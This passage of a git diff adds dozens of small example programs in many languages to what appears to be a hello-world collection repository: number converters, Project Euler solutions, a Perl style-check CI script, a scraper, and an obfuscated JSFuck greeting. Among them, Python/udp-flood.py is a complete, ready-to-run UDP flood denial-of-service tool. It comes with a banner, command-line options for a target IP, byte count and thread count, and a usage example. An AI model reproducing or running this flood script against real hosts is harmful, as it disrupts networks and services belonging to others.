Scanner + +public class RomanNumeral +{ + public static void main(String[] args) + { + Scanner keyboard = new Scanner(System.in); + + int number; + System.out.println("Enter a number between 1-10."); + number = keyboard.nextInt(); + + if (number < 1 || number > 10) + { + System.out.println("Your input is invalid."); + } + else + { + if (number==1) + System.out.println("I"); + + if (number==2) + System.out.println("II"); + + if (number==3) + System.out.println("III"); + + if (number==4) + System.out.println("IV"); + + if (number==5) + System.out.println("V"); + + if (number==6) + System.out.println("VI"); + + if (number==7) + System.out.println("VII"); + + if (number==8) + System.out.println("VIII"); + + if (number==9) + System.out.println("IX"); + + if (number==10) + System.out.println("X"); + } + + } +} + diff --git a/Java/StringCompareTo.java b/Java/StringCompareTo.java new file mode 100644 index 000000000..98cca1b5e --- /dev/null +++ b/Java/StringCompareTo.java @@ -0,0 +1,28 @@ +/** + This program compares two String objects using + the compareTo method. +*/ + +public class StringCompareTo +{ + public static void main(String [] args) + { + String name1 = "MARK", + name2 = "Mark"; + + // Compare "Mary" and "Mark" + + if (name1.compareTo(name2) < 0) + { + System.out.println(name1 + " is less than " + name2); + } + else if (name1.compareTo(name2) == 0) + { + System.out.println(name1 + " is equal to " + name2); + } + else if (name1.compareTo(name2) > 0) + { + System.out.println(name1 + " is greater than " + name2); + } + } +} diff --git a/Java/decimal to binary b/Java/decimal to binary new file mode 100644 index 000000000..d85d9f063 --- /dev/null +++ b/Java/decimal to binary @@ -0,0 +1,22 @@ +import java.util.Scanner; + +public class Main { + + public static void main(String[] args) { + // Write your code here + + Scanner str = new Scanner(System.in); + int decimal = str.nextInt(); + long binary = 0; + long k =1; + while ( decimal > 0) { + binary = binary + (decimal%2)*k ; + + k=k*10; + decimal = decimal/2; + + } + System.out.println(binary); + + } +} diff --git a/Java/gcd234.java b/Java/gcd234.java new file mode 100644 index 000000000..18b052993 --- /dev/null +++ b/Java/gcd234.java @@ -0,0 +1,26 @@ +import static java.lang.Math.min; +import java.util.Scanner; + +public class Greatest_Common_Divisor +{ + public static void main(String args[]) + { + int a,b,hcf=1; + Scanner s=new Scanner(System.in); + System.out.print("Enter First Number:"); + a=s.nextInt(); + System.out.print("Enter Second Number:"); + b=s.nextInt(); + int n=min(a,b); + for(int i=2;i + + sKoring + + +
+

This click will reward 10 points

+

This click will reward 5 points

+
+

Current Visitor points:

+ + + + diff --git a/JavaScript/hello-arkjel.js b/JavaScript/hello-arkjel.js new file mode 100644 index 000000000..d059b8504 --- /dev/null +++ b/JavaScript/hello-arkjel.js @@ -0,0 +1,3 @@ +const helloArkjel = (name) => { + return `Hello ${name}`; +} \ No newline at end of file diff --git a/JavaScript/morseCode.js b/JavaScript/morseCode.js new file mode 100644 index 000000000..e3d6af98e --- /dev/null +++ b/JavaScript/morseCode.js @@ -0,0 +1 @@ +console.log('.... . .-.. .-.. --- / .-- --- .-. .-.. -.. -.-.--') \ No newline at end of file diff --git a/JavaScript/post-message/iframe.html b/JavaScript/post-message/iframe.html new file mode 100644 index 000000000..b7575e903 --- /dev/null +++ b/JavaScript/post-message/iframe.html @@ -0,0 +1,15 @@ + + + + + Inside Iframe + + + + + + \ No newline at end of file diff --git a/JavaScript/post-message/index.html b/JavaScript/post-message/index.html new file mode 100644 index 000000000..097a86843 --- /dev/null +++ b/JavaScript/post-message/index.html @@ -0,0 +1,22 @@ + + + PostMessageBetweenFrames + + +

Post Message Between Frames

+

This will write in the below row the infamous developer quote, using post message between frames

+
+ + + \ No newline at end of file diff --git a/JavaScript/setInterval.js b/JavaScript/setInterval.js new file mode 100644 index 000000000..411c34515 --- /dev/null +++ b/JavaScript/setInterval.js @@ -0,0 +1,5 @@ +let count = 0; +setInterval(()=>{ + console.log(count + '. Hello World!'); + count++; +}, 1000); \ No newline at end of file diff --git a/JavaScript/shalom-olam.js b/JavaScript/shalom-olam.js new file mode 100644 index 000000000..eaf29d619 --- /dev/null +++ b/JavaScript/shalom-olam.js @@ -0,0 +1,2 @@ +console.log('!םלוע םולש') +console.log('Shalom Olam!') \ No newline at end of file diff --git a/Julia/Matrix Hello World.jl b/Julia/Matrix Hello World.jl new file mode 100644 index 000000000..1a791551a --- /dev/null +++ b/Julia/Matrix Hello World.jl @@ -0,0 +1,12 @@ + + + +GreetString = "Hello World" +grtMat = fill('A',3, 5)#creating a char matrix +k=1 +#filling up +for i in 1:3, j in 1:5 + grtMat[i,j] = GreetString[k] + k+=1 +end +display(grtMat) diff --git a/Kotlin/hello-world-delegation.kt b/Kotlin/hello-world-delegation.kt new file mode 100644 index 000000000..f1fc6ab3d --- /dev/null +++ b/Kotlin/hello-world-delegation.kt @@ -0,0 +1,17 @@ +/** + * Kotlin delegation pattern example. + */ +interface Greeter { + fun greet() +} + +class GreetLoudlyBehavior(val n:String): Greeter { + override fun greet() = println("${n.toUpperCase()} !!!") +} + +class MyGreeter(n:String): Greeter by GreetLoudlyBehavior(n) + +fun main(args: Array) { + val greeter = MyGreeter("Hello world") + greeter.greet() +} diff --git a/LOLCODE/fib.lol b/LOLCODE/fib.lol new file mode 100644 index 000000000..c0ab7f6fe --- /dev/null +++ b/LOLCODE/fib.lol @@ -0,0 +1,41 @@ +HAI 1.2 BTW Opens LOLCODE program + +HOW IZ I fib YR numbr BTW This is a Function + I HAS A a ITZ A NUMBR BTW Initialize some useful variables + I HAS A b ITZ A NUMBR + I HAS A c ITZ A NUMBR + + a R 0 BTW assign a value to a + b R 1 BTW assign a value to b + + BOTH SAEM numbr AN 0, O RLY? BTW If user entered 0 + YA RLY, FOUND YR a BTW Return 0 + OIC BTW End if + + I HAS A end ITZ SUM OF numbr AN 1 + IM IN YR loop UPPIN YR var TIL BOTH SAEM var AN end BTW Begin for loop + BOTH SAEM var AN BIGGR OF var AN 2, O RLY? BTW Skips when var < 2 + YA RLY, + c R SUM OF a AN b + a R b + b R c + OIC + IM OUTTA YR loop BTW Closes the loop + + FOUND YR b BTW Returns final number in sequence +IF U SAY SO BTW Closes function + +I HAS A numbr BTW Initialize var 'numbr' +VISIBLE "GIMMEH NUMBR" BTW Requests input from user +GIMMEH numbr BTW Sets var 'numbr' from input +numbr R MAEK numbr NUMBR BTW Casts var 'numbr' to NUMBR (int) + +DIFFRINT numbr AN BIGGR OF numbr AN 0, O RLY? BTW Checks for negative input + YA RLY, + VISIBLE "NO U! NEGATIV NUMBRZ NOT OK!" BTW Tell off the user + GTFO BTW Exit +OIC + +VISIBLE I IZ fib YR numbr MKAY BTW Calls fib, passing in 'numbr' + +KTHXBYE BTW Closes LOLCODE program diff --git a/MORSE/hello.morse b/MORSE/hello.morse new file mode 100644 index 000000000..dd7685429 --- /dev/null +++ b/MORSE/hello.morse @@ -0,0 +1 @@ +.... . .-.. .-.. --- / .-- --- .-. .-.. -.. -.-.-- diff --git a/NodeJS/Nodejs.js b/NodeJS/Nodejs.js new file mode 100644 index 000000000..6097b2496 --- /dev/null +++ b/NodeJS/Nodejs.js @@ -0,0 +1,31 @@ +var express = require('express'); +var bodyParser = require('body-parser') +var app = express(); + +app.use(bodyParser.urlencoded({ extended: false })) + +// parse application/json +app.use(bodyParser.json()) + + + +app.get('/', function (req, res) { + res.send('Hello World!'); +}); + + + +// use port 3000 unless there exists a preconfigured port +var port = process.env.port || 8080; + + + +app.listen(port,function(err){ + if(err){ + console.log(err); + + } + else{ + console.log("server started"); + } +}); diff --git a/PHP/tada.php b/PHP/tada.php new file mode 100644 index 000000000..f18b5f910 --- /dev/null +++ b/PHP/tada.php @@ -0,0 +1,8 @@ + diff --git a/Perl/hello.pl b/Perl/hello.pl new file mode 100644 index 000000000..e0f55a32c --- /dev/null +++ b/Perl/hello.pl @@ -0,0 +1,38 @@ +#!/usr/bin/env perl +# $Id$ $Date$ $Revision$ +# This Hello World program passed perl critic. +use strict; +use warnings; +our $VERSION = '%%VERSION%%-%%RELEASE%%'; +use English qw( -no_match_vars ); +use Fatal qw(open close mkdir); +use Carp; + +sub my_date { + ## no critic (ProhibitMagicNumbers) + ## This would need an third party CPAN module 'Readonly' +## Forcing another change + my $ERA = 1900; + my $YEARINDEX = 5; + my ( $sec, $min, $hrs, $day, $mon, $year ) = (localtime)[ 0 .. $YEARINDEX ]; + $year += $ERA; + $mon += 1; + return sprintf '%04d-%02d-%02dT%02d:%02d:%02d', + $year, $mon, $day, $hrs, $min, $sec; +} +my $opt = $ARGV[0] || 'x'; +if ( $opt =~ /-v/xism ) { + print "hello.pl $VERSION\n" or croak "hello.pl $VERSION\n"; + exit; +} +my $logdir = $ENV{'HOME'} . '/log/'; +if ( !-d $logdir ) { + mkdir $logdir or croak $OS_ERROR; + mkdir "$logdir/$PROGRAM_NAME" or croak $OS_ERROR; +} +$logdir .= q{/} . my_date(); +mkdir $logdir; +open my $log, '>', "$logdir/hello.log"; +print {$log} my_date() . ' : INFO : ' . "bbaassssiiee\n" or croak 'Hello World!'; +print "bbaassssiiee!\n" or croak 'Hello World!'; +close $log; diff --git a/Perl/review_perl.sh b/Perl/review_perl.sh new file mode 100644 index 000000000..93f56f2ba --- /dev/null +++ b/Perl/review_perl.sh @@ -0,0 +1,123 @@ +#!/bin/bash +# review_perl.sh requires perlcritic +# testing with prove requires perl-Test-Simple +PERLSOURCE=$1 + +if test -z "$PERLSOURCE" +then + echo "$0 PERLSOURCE" + exit 2 +fi + +### http://confluence.jetbrains.net/display/TCD65/Build+Script+Intermyaction+with+TeamCity +mydebug="$DEBUG" # set by env.DEBUG variable in TeamCity, values: mydebug / +myaction="$ACTION" # set by env.ACTION variable in TeamCity, values: clone / + +print_text() +{ + local myState=$(echo $1 | cut -d: -f1) + if [[ $myState =~ "mydebug" ]] + then + if [ ! -z "$mydebug" ] + then + echo "$*" + fi + else + echo "$*" + if [[ "$myState" =~ "warning" ]] + then + echo "##teamcity[message text='warning reported' status='WARNING']" + elif [[ "$myState" =~ "error" ]] + then + echo "##teamcity[message text='error reported' errorDetails='${*}' status='ERROR']" + echo "##teamcity[testFailed name='${current_test}' message='error present in logs' details='${*}']" + elif [[ "$myState" =~ "fatal" ]] + then + echo "##teamcity[message text='fatal error reported' errorDetails='tests will now stop' status='ERROR']" + exit 1 + fi + ### TODO add more/less mydebugging info if needed, or teamcity block/reporting + fi +} + +print_all_parameters() +{ + print_text "##teamcity[blockOpened name='showRunParameters']" + + print_text "##teamcity[blockClosed name='showRunParameters']" +} + + +tc_started_testsuite() +{ + print_text "##teamcity[testSuiteStarted name='Perl::Critic']" +} + +tc_finished_testsuite() +{ + print_text "##teamcity[testSuiteFinished name='Perl::Critic']" +} + +tc_start_test() +{ + local mytest=$1 + print_text "##teamcity[testStarted name='${mytest}']" + current_test=${mytest} +} + +tc_end_test() +{ + local mytest=$1 + print_text "##teamcity[testFinished name='${mytest}']" + current_test="" +} + +publish_artifacts() +{ + print_text "##teamcity[blockOpened name='publishingArtifacts']" + + print_text "##teamcity[blockClosed name='publishingArtifacts']" + kdestroy +} + + +my_tests() +{ + tc_start_test "syntax_check" + perl -c "${PERLSOURCE}" || exit $! + tc_end_test "syntax_check" + + tc_start_test "gentle_style_check" + perlcritic -gentle "${PERLSOURCE}" || exit 5 + tc_end_test "gentle_style_check" + + tc_start_test "stern_style_check" + perlcritic -stern "${PERLSOURCE}" || exit 4 + tc_end_test "stern_style_check" + + tc_start_test "harsh_style_check" + perlcritic -harsh "${PERLSOURCE}" || exit 3 + tc_end_test "harsh_style_check" + + tc_start_test "cruel_style_check" + perlcritic -cruel "${PERLSOURCE}" || exit 2 + tc_end_test "cruel_style_check" + + tc_start_test "brutal_style_check" + perlcritic -brutal "${PERLSOURCE}" || exit 1 + tc_end_test "brutal_style_check" + + tc_start_test "perl_prove" + prove + tc_end_test "perl_prove" + + +} + + +echo "$TEAMCITY_PROJECT_NAME" +tc_started_testsuite +my_tests "$1" +tc_finished_testsuite + +exit 0 diff --git a/Perl/t/hello.t b/Perl/t/hello.t new file mode 100644 index 000000000..990c8b02c --- /dev/null +++ b/Perl/t/hello.t @@ -0,0 +1,9 @@ +#!/usr/bin/perl -w + +use Test::Simple tests => 3; + +ok((-x 'hello.pl'),"executable"); +mkdir($ENV{'HOME'}.'/log'); +mkdir($ENV{'HOME'}.'/log/hello.pl'); +ok(`./hello.pl`,"ran"); +ok(-d $ENV{'HOME'}.'/log/hello.pl',"logdir created"); diff --git a/ProjectEuler/Java/P0001.java b/ProjectEuler/Java/P0001.java new file mode 100644 index 000000000..75e341376 --- /dev/null +++ b/ProjectEuler/Java/P0001.java @@ -0,0 +1,25 @@ +/* https://projecteuler.net/problem=1 +Multiples of 3 and 5 +Problem 1 +If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. +The sum of these multiples is 23. +Find the sum of all the multiples of 3 or 5 below 1000. + */ +public class P0001 { + + public static int sum(int limit) { + int result = 0; + for (int i=1; i0): + dig=n%10 + rev=rev*10+dig + n=n//10 +print("Reverse of the number:",rev) diff --git a/Python/SimplePigLatin b/Python/SimplePigLatin new file mode 100644 index 000000000..c3c3526cb --- /dev/null +++ b/Python/SimplePigLatin @@ -0,0 +1,5 @@ +# https://www.codewars.com/users/Kueen +# https://www.codewars.com/kata/simple-pig-latin + +def pig_it(text): + return ' '.join(t[1:] + t[0] + 'ay' if t.isalpha() else t for t in text.split(' ')) diff --git a/Python/animated-helloworld.py b/Python/animated-helloworld.py new file mode 100644 index 000000000..41cd0fd52 --- /dev/null +++ b/Python/animated-helloworld.py @@ -0,0 +1,20 @@ +from asciimatics.effects import Cycle, Stars +from asciimatics.renderers import FigletText +from asciimatics.scene import Scene +from asciimatics.screen import Screen + +def demo(screen): + effects = [ + Cycle( + screen, + FigletText("HELLO", font='big'), + int(screen.height / 2 - 8)), + Cycle( + screen, + FigletText("WORLD", font='big'), + int(screen.height / 2 + 3)), + Stars(screen, 200), + ] + screen.play([Scene(effects, 500)]) + +Screen.wrapper(demo) \ No newline at end of file diff --git a/Python/circular_prime.py b/Python/circular_prime.py new file mode 100644 index 000000000..4c369d9a9 --- /dev/null +++ b/Python/circular_prime.py @@ -0,0 +1,36 @@ +#! /usr/bin/python +# -*- coding: utf-8 -*- + + +def is_prime(n): + if (n == 2) or (n == 3): + return True + if (n < 2) or (n %2 == 0): + return False + if n < 9: + return True + if n % 3 == 0: + return False + sqrt_n = int(n ** 0.5) + step = 5 + # 😇 + while step <= sqrt_n: + if n % step == 0: + return False + if n % (step + 2) == 0: + return False + step += 6 + return True + + +def is_circular_prime(n): + num = str(n) + for i in range(len(num)): + if not is_prime(int(num[i:] + num[:i])): + return False + return True + +if __name__ == '__main__': + num = int(input()) + result = (sum(1 for n in range(2, num) if is_circular_prime(n))) + print(result) diff --git a/Python/factorial_calc.py b/Python/factorial_calc.py new file mode 100644 index 000000000..700002a71 --- /dev/null +++ b/Python/factorial_calc.py @@ -0,0 +1,10 @@ +"""Calculates factorial of a number input by the user""" + +n = int(input("Enter a number to calculate factorial: ")) +f=1 +i=1 +while i<=n: + f*=i + i+=1 + +print(str(n) + "! = " + str(f)) diff --git a/Python/find_max_palindrome_substring.py b/Python/find_max_palindrome_substring.py new file mode 100644 index 000000000..043cc1b62 --- /dev/null +++ b/Python/find_max_palindrome_substring.py @@ -0,0 +1,44 @@ +#! /usr/bin/python +# -*- coding: utf-8 -*- + +from itertools import combinations + + +def is_palindrome(string): + if string == string[::-1]: + return True + return False + + +def get_palindrome_length(string): + palindrome_length = 0 + for string_sub_length in range(len(string)-1, 1, -1): + for string_list in combinations(string, string_sub_length): + sub_string = ''.join(string_list) + if is_palindrome(sub_string): + return len(sub_string) + + return palindrome_length + + +def max_palindrome_substring(s): + unique_palindrome_length = set() + + for i in range(0, len(s)): + initial_substring = s[:i] + remaining_substring = s[i:] + initial_substring_palindrome_length = get_palindrome_length( + initial_substring) + remaining_substring_palindrome_length = get_palindrome_length( + remaining_substring) + + if (initial_substring_palindrome_length > 0) and ( + remaining_substring_palindrome_length > 0): + unique_palindrome_length.add( + initial_substring_palindrome_length * remaining_substring_palindrome_length) + return max(unique_palindrome_length) + + +if __name__ == '__main__': + string = input() + max_palindrome_substring(string) diff --git a/Python/flatten_container.py b/Python/flatten_container.py new file mode 100644 index 000000000..46924d890 --- /dev/null +++ b/Python/flatten_container.py @@ -0,0 +1,21 @@ +import collections + + +def generate_flatten(container, contaianer_types=collections.Sequence): + container_list = list(container) + while container_list: + while container_list and isinstance( + container_list[0], contaianer_types): + container_list[0:1] = container_list[0] + if container_list: + yield container_list.pop(0) + + +def test_generate_flatten(): + flatten_container = list(generate_flatten([[1, 2, [3]], 4])) + assert flatten_container == [1, 2, 3, 4] + + +if __name__ == '__main__': + test_generate_flatten() + diff --git a/Python/helloworld99.py b/Python/helloworld99.py new file mode 100644 index 000000000..73fb7c3fb --- /dev/null +++ b/Python/helloworld99.py @@ -0,0 +1 @@ +print('Hello World!') diff --git a/Python/image_scrape.py b/Python/image_scrape.py new file mode 100644 index 000000000..eb4d152f1 --- /dev/null +++ b/Python/image_scrape.py @@ -0,0 +1,24 @@ +from selenium import webdriver +import urllib +""" +Minimal image scraper using selenium, defaulted to the Chrome driver +""" +class ChromefoxTest: + def __init__(self,url): + self.url=url + self.uri = [] + self.folder = '/scraped/images/folder/' + + def chromeTest(self): + self.driver=webdriver.Chrome() + self.driver.get(self.url) + self.r=self.driver.find_elements_by_tag_name('img') + for v in self.r: + src = v.get_attribute("src") + self.uri.append(src) + pos = len(src) - src[::-1].index('/') + print src[pos:] + self.g=urllib.urlretrieve(src, "/".join([self.folder, src[pos:]])) + +FT=ChromefoxTest("Webpage.to/scrape.html") +FT.chromeTest() diff --git a/Python/lenofstr.py b/Python/lenofstr.py new file mode 100644 index 000000000..2777ea904 --- /dev/null +++ b/Python/lenofstr.py @@ -0,0 +1,8 @@ +"""Function that returns length of a string""" + +def lengthofstring(string): + length = [] + for i in string: + length.append(i) + x = string.index(string[-1]) + return x+1 diff --git a/Python/max_length_between_two_node_n_ry_tree.py b/Python/max_length_between_two_node_n_ry_tree.py new file mode 100644 index 000000000..5c0134793 --- /dev/null +++ b/Python/max_length_between_two_node_n_ry_tree.py @@ -0,0 +1,42 @@ +""" +Program to find length of max path between two nodes (not neccesserry leave) and these two nodes in an n-ary tree +""" + +class Node: + val = None + childs = [] + + def __init__(self, v): + self.val = v + + def __repr__(self): + return str(self.val) + +def get_max_nodes(root, result_array=[0, None, None]): + print root + global max_length, n_1, n_2 + if not root.childs: + return 1, root, result_array + + l = [] + for c in root.childs: + h, h_n, _ = get_max_nodes(c) + l.append((h, h_n)) + l.sort(key=lambda x: x[0], reverse = True) + if len(l) > 1: + if l[0][0] + l[1][0] + 1 > result_array[0]: + result_array[1], result_array[2] = l[0][1], l[1][1] + result_array[0] = l[0][0] + l[1][0] + 1 + else: + if l[0][0] + 1 > result_array[0]: + result_array[1], result_array[2] = l[0][1], None + result_array[0] = l[0][0] + 0 + 1 + return l[0][0]+1, l[0][1], result_array + +n = Node(1) +n.childs = [Node(2), Node(3), Node(4)] +n.childs[0].childs = [Node(5), Node(6)] +n.childs[1].childs = [Node(7)] +n.childs[2].childs = [Node(8), Node(9), Node(10)] +n.childs[0].childs[1].childs = [Node(11)] +print get_max_nodes(n)[2] \ No newline at end of file diff --git a/Python/sample.py b/Python/sample.py new file mode 100644 index 000000000..73f6a4ffb --- /dev/null +++ b/Python/sample.py @@ -0,0 +1,3 @@ +# Python code for printing Hello world + +print ("Hello World") diff --git a/Python/stackoverflow_to_mongodb.py b/Python/stackoverflow_to_mongodb.py new file mode 100644 index 000000000..e393010fb --- /dev/null +++ b/Python/stackoverflow_to_mongodb.py @@ -0,0 +1,116 @@ + +import stackapi +import requests +import pymongo +import traceback +import random + +# Settings +TAG = "java" +MAX_ERRORS = 3 # max. consecutive errors before stopping getting questions +PAGE_RANGE = [1, 100] # range of pages to get questions from (both ranges included) +PAGE_SIZE = 100 # items per page, maximum of 100 (recommended) +MONGODB_SERVER = "localhost:27017" +DB_NAME = "stackoverflow" +COLLECTION_NAME = "java" +PROXIES = ["localhost:9051", "localhost:9052", "localhost:9053", None] + +# MongoDB +mongo = pymongo.MongoClient("mongodb://"+MONGODB_SERVER) +db = mongo[DB_NAME] +collection = db[COLLECTION_NAME] + +# StackAPI +stack = stackapi.StackAPI("stackoverflow") +stack.page_size = PAGE_SIZE +stack.max_pages = 1 +min_page = min(PAGE_RANGE) +max_page = max(PAGE_RANGE) +errors = 0 + +for page in range(min_page, max_page+1): + stop = False + while True: + try: + print(f"Getting questions from page {page}/{max_page}") + proxy = random.choice(PROXIES) + if proxy is not None: + proxies = {"http": "http://"+proxy, "https": "https://"+proxy} + else: + proxies = None + js = stack.fetch("questions", tagged=TAG, page=page, is_answered=True, proxy=proxies) + questions = js["items"] + print(f"Found {len(questions)} questions") + for quest in questions: # type: dict + print(f"Processing question {questions.index(quest)+1}/{len(questions)} '{quest['title']}'...") + if not quest["is_answered"]: + print("Question not answered, skipping") + continue + if collection.find({"_id": quest["question_id"]}).count() == 1: + print("Question already exists in DB, skipping") + continue + tries = 0 + ok = False + while True: + try: + proxy = random.choice(PROXIES) + if proxy is not None: + proxies = {"http": "http://"+proxy, "https": "https://"+proxy} + else: + proxies = None + r = requests.get(quest["link"], timeout=2, proxies=proxies) + if r.status_code != 200: + raise requests.exceptions.RequestException(f"Error Code != 200 (got {r.status_code})") + except requests.exceptions.RequestException as e: + try: + traceback.print_tb(e) + except AttributeError: + print(str(e)) + pass + if tries >= MAX_ERRORS: + print("Error limit reached, we can't download this question!") + break + else: + tries += 1 + print("Trying again") + else: + ok = True + break + # Set ID + quest["_id"] = quest.pop("question_id") + # Remove unneeded elements from quest dict + remove_keys = ["user_type", "profile_image", "link"] + for k in remove_keys: + try: + quest["owner"].pop(k) + except KeyError: + pass + if ok: + quest["html"] = r.text + else: + quest["html"] = None + collection.insert_one(quest) + print("Saved!") + except KeyboardInterrupt: + print("Manually stopped getting questions") + stop = True + break + except (stackapi.StackAPIError, pymongo.mongo_client.PyMongoError) as e: + try: + traceback.print_tb(e) + except AttributeError: + print(str(e)) + errors += 1 + if errors >= MAX_ERRORS: + print("Error limit reached, we stop getting questions!") + stop = True + break + else: + print("Trying again") + else: + errors = 0 + print(f"Retrieved questions from page {page}/{max_page}\n") + break + if stop: + print("Bye!") + break diff --git a/Python/udp-flood.py b/Python/udp-flood.py new file mode 100644 index 000000000..263df5fb0 --- /dev/null +++ b/Python/udp-flood.py @@ -0,0 +1,88 @@ +'''UDP Flood''' + +''' + [Disclaimer] + Ataques UDP Flood sao mais efetivos em redes internas que outros tipos + pois o protocolo UDP nao precisa receber respostas ou validocoes das + maquinas que se conecta, desta forma podendo conectar-se a qualquer + porta e ip presentes na rede, usando a lib threads o ataque e potencializado + fazendo com que varias conexao sejam feitas ao mesmo tempo, alem da otima + atuacao desta lib em processos IO, e isso guys usem com moderacao e riscos + por Daniel Freire. +''' +#-*-coding: utf8-*- +from thread import start_new_thread as thread +from socket import socket, AF_INET, SOCK_DGRAM +from sys import argv, stdout +from os import _exit, system +from platform import system as plt +import random + +def banner(): + if plt() == "Windows": + system("cls") + else: + system("clear") + print "\n ( ( ( " + print " )\ ) )\ ) )\ ) ( ( " + print " ( (()/( (()/((()/( )\ )\ ) " + print " )\ /(_)) /(_))/(_))((_) ( ( (()/( " + print " _ ((_)(_))_ (_)) (_))_| _ )\ )\ ((_)) " + print "| | | | | \ | _ \| |_ | | ((_) ((_) _| | " + print "| |_| | | |) || _/| __| | |/ _ \/ _ \/ _` | " + print " \___/ |___/ |_| |_| |_|\___/\___/\__,_| " + print " by Daniel Freire\n" + print "[+] Github : https://github.com/proxyanon/" + print "[+] Twitter : @DanielFreire00" + print "[+] YouTube : ProXySec" + + +def show_help(name_scp): + print "\nUsage: %s [options]\n"%(name_scp) + print "Options:" + print " -i, --ip Host ip to attack" + print " -b, --bytes Number of bytes to send in attack" + print " -t, --threads Number of threads\n" + print "Example: %s -i 192.168.0.100 -b 2048 -t 25"%(name_scp) + _exit(0) + +def udp(ip, nbytes): + while 1: + s = socket(AF_INET, SOCK_DGRAM) + port = random.randint(80, 8080) + bytes_ = random._urandom(nbytes) + stdout.write("\rSending %i bytes to %s:%i"%(len(bytes_), ip, port)) + s.sendto(bytes_, (ip, port)) + s.close() + +index = 1 +name_scp = argv[0].split("\\")[len(argv[0].split("\\")) - 1] +banner() + +for arg in argv: + if arg == "-i" or arg == "--ip": + ip = argv[index+1] + index += 2 + elif arg == "-b" or arg == "--bytes": + nbytes = int(argv[index+1]) + index += 2 + elif arg == "-t" or arg == "--threads": + nthreads = int(argv[index+1]) + index += 2 + elif arg == "-h" or arg == "--help": + show_help(name_scp) + +try: + try: + print "\n[+] Attack was started type Ctrl-c to stop\n" + for x in xrange(nthreads): + thread(udp, (ip, nbytes,)) + + while 1: + pass + except NameError: + print "\n%s -h for help"%(name_scp) + _exit(0) + +except KeyboardInterrupt: + _exit(0) diff --git a/Python/wholenumtobit.py b/Python/wholenumtobit.py new file mode 100644 index 000000000..98cad39b4 --- /dev/null +++ b/Python/wholenumtobit.py @@ -0,0 +1,12 @@ +"""This program converts a whole number input by the user to binary form""" + +a = int(input("Enter a whole number: ")) +bit = [] + +while int(a) > 0: + bit.append(a % 2) + a = int(a / 2) + +bit.reverse() +for i in bit: + print(i, end="") diff --git a/React-Native/App-Hello-World.js b/React-Native/App-Hello-World.js new file mode 100644 index 000000000..4acd5aea9 --- /dev/null +++ b/React-Native/App-Hello-World.js @@ -0,0 +1,19 @@ +import React, {Component} from 'react'; +import {Platform, StyleSheet, Text, View} from 'react-native'; + export default class App { + render() { + return ( + + Hello World + + ); + } +} + const styles = StyleSheet.create({ + container: { + flex: 1, + justifyContent: 'center', + alignItems: 'center', + backgroundColor: '#F5FCFF', + } +}); diff --git a/React-Native/App-World-Is-Black.js b/React-Native/App-World-Is-Black.js new file mode 100644 index 000000000..1bb415101 --- /dev/null +++ b/React-Native/App-World-Is-Black.js @@ -0,0 +1,19 @@ +import React, {Component} from 'react'; +import {Platform, StyleSheet, Text, View} from 'react-native'; + export default class App { + render() { + return ( + + World + + ); + } +} + const styles = StyleSheet.create({ + container: { + flex: 1, + justifyContent: 'center', + alignItems: 'center', + backgroundColor: '#000', + } +}); diff --git a/VB.NET/HelloWorld.vb b/VB.NET/HelloWorld.vb new file mode 100644 index 000000000..8d6311097 --- /dev/null +++ b/VB.NET/HelloWorld.vb @@ -0,0 +1,11 @@ +Imports System + +Public Module HelloWorld + Public Sub Main() + HelloWorld() + End Sub + + Sub HelloWorld() + Console.WriteLine("Hello, world!") + End Sub +End Module diff --git a/WarayLang/hello-world.waray b/WarayLang/hello-world.waray new file mode 100644 index 000000000..4cab66ffe --- /dev/null +++ b/WarayLang/hello-world.waray @@ -0,0 +1 @@ +yakan "Hello, World!" tapos \ No newline at end of file diff --git a/jsfuck/hello-world.js b/jsfuck/hello-world.js new file mode 100644 index 000000000..4f71c6866 --- /dev/null +++ b/jsfuck/hello-world.js @@ -0,0 +1 @@ +[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])